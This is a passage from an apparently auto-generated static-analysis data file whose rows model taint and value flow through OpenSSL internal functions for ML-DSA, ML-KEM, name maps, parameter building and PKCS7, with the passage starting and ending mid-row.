*,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_i2d_pubkey", "(const ML_DSA_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[*2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_decompose", "(uint32_t,uint32_t,uint32_t *,int32_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_high_bits", "(uint32_t,uint32_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_low_bits", "(uint32_t,uint32_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_low_bits", "(uint32_t,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_power2_round", "(uint32_t,uint32_t *,uint32_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_compress_use_hint", "(uint32_t,uint32_t,uint32_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_dup", "(const ML_DSA_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_key_get0_libctx", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get0_libctx", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_collision_strength_bits", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*bit_strength]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_name", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[**alg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_name", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**priv_encoding]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*priv_encoding]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_priv_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sk_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_prov_flags", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*prov_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**pub_encoding]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*pub_encoding]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_pub_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*pk_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_seed", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**seed]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_seed", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*seed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_get_sig_len", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*sig_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_params", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[**params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_params", "(const ML_DSA_KEY *)", "", "Argument[*0].Field[*params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_key_pub_alloc", "(ML_DSA_KEY *)", "", "Argument[*0].Field[**params].Field[*k]", "Argument[*0].Field[*t1].Field[*num_poly]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_expand_A", "(EVP_MD_CTX *,const EVP_MD *,const uint8_t *,MATRIX *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_matrix_mult_vector", "(const MATRIX *,const VECTOR *,VECTOR *)", "", "Argument[*0].Field[**m_poly].Field[*coeff]", "Argument[*2].Field[**poly].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_mu_init", "(const ML_DSA_KEY *,int,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pub_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pub_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_pk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_expand_mask", "(POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *)", "", "Argument[5]", "Argument[*4].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_ntt_mult", "(const POLY *,const POLY *,POLY *)", "", "Argument[*0].Field[*coeff]", "Argument[*2].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_ntt_mult", "(const POLY *,const POLY *,POLY *)", "", "Argument[*1].Field[*coeff]", "Argument[*2].Field[*coeff]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_poly_sample_in_ball", "(POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t)", "", "Argument[4]", "Argument[*3].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[*3]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[*5]", "Argument[*0].Field[**priv_encoding]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*prov_flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*prov_flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[3]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_set_prekey", "(ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t)", "", "Argument[5]", "Argument[*0].Field[**priv_encoding]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sig_decode", "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)", "", "Argument[*1]", "Argument[*0].Field[**c_tilde]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sig_decode", "(ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *)", "", "Argument[1]", "Argument[*0].Field[**c_tilde]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_sign", "(const ML_DSA_KEY *,int,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,size_t,int,unsigned char *,size_t *,size_t)", "", "Argument[*0]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_sk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_sk_decode", "(ML_DSA_KEY *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_vector_expand_S", "(EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_dsa_w1_encode", "(const VECTOR *,uint32_t,uint8_t *,size_t)", "", "Argument[*0].Field[*poly]", "Argument[*0].Field[**poly]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PKCS8", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[*3].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_d2i_PUBKEY", "(const uint8_t *,int,int,PROV_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_decap", "(uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encap_rand", "(uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encap_seed", "(uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_private_key", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_public_key", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_encode_seed", "(uint8_t *,size_t,const ML_KEM_KEY *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ml_kem_genkey", "(uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_i2d_pubkey", "(const ML_KEM_KEY *,unsigned char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_dup", "(const ML_KEM_KEY *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_ml_kem_key_dup", "(const ML_KEM_KEY *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_key_new", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_private_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_public_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*0]", "Argument[*2].Field[**rho]", "value", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_parse_public_key", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[0]", "Argument[*2].Field[**rho]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_pubkey_cmp", "(const ML_KEM_KEY *,const ML_KEM_KEY *)", "", "Argument[*0].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_pubkey_cmp", "(const ML_KEM_KEY *,const ML_KEM_KEY *)", "", "Argument[*1].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_ml_kem_set_seed", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_ml_kem_set_seed", "(const uint8_t *,size_t,ML_KEM_KEY *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_name", "(OSSL_NAMEMAP *,int,const char *)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_name", "(OSSL_NAMEMAP *,int,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "Argument[*0].Field[**numnames].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_add_names", "(OSSL_NAMEMAP *,int,const char *,const char)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_namemap_doall_names", "(const OSSL_NAMEMAP *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_namemap_num2name", "(const OSSL_NAMEMAP *,int,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_namemap_stored", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_namemap_stored", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_null_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "ossl_null_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_bn_pad", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const BIGNUM *,size_t)", "", "Argument[4]", "Argument[*1].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_int", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_int", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_long", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_long", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,long)", "", "Argument[3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_multi_key_bn", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *[],stack_st_BIGNUM_const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[*3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*1].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_octet_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1].Field[*return_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[*3]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_build_set_utf8_string", "(OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,const char *)", "", "Argument[3]", "Argument[*1].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_bytes_to_blocks", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_concat_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_get1_octet_string", "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[**1]", "Argument[*0].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_param_set_secure_block", "(OSSL_PARAM *,void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "ossl_parse_property", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_parse_query", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pem_check_suffix", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_pkcs12_get0_pkcs7ctx", "(const PKCS12 *)", "", "Argument[*0].Field[**authsafes].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_libctx", "(const PKCS7_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_libctx", "(const PKCS7_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_propq", "(const PKCS7_CTX *)", "", "Argument[*0].Field[**propq]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_get0_propq", "(const PKCS7_CTX *)", "", "Argument[*0].Field[*propq]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_ctx_propagate", "(const PKCS7 *,PKCS7 *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_pkcs7_get0_ctx", "(const PKCS7 *)", "", "Argument[*0].Field[*ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set0_libctx", "(PKCS7 *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set0_libctx", "(PKCS7 *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set1_propq", "(PKCS7 *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_pkcs7_set1_propq", "(PKCS7 *,const 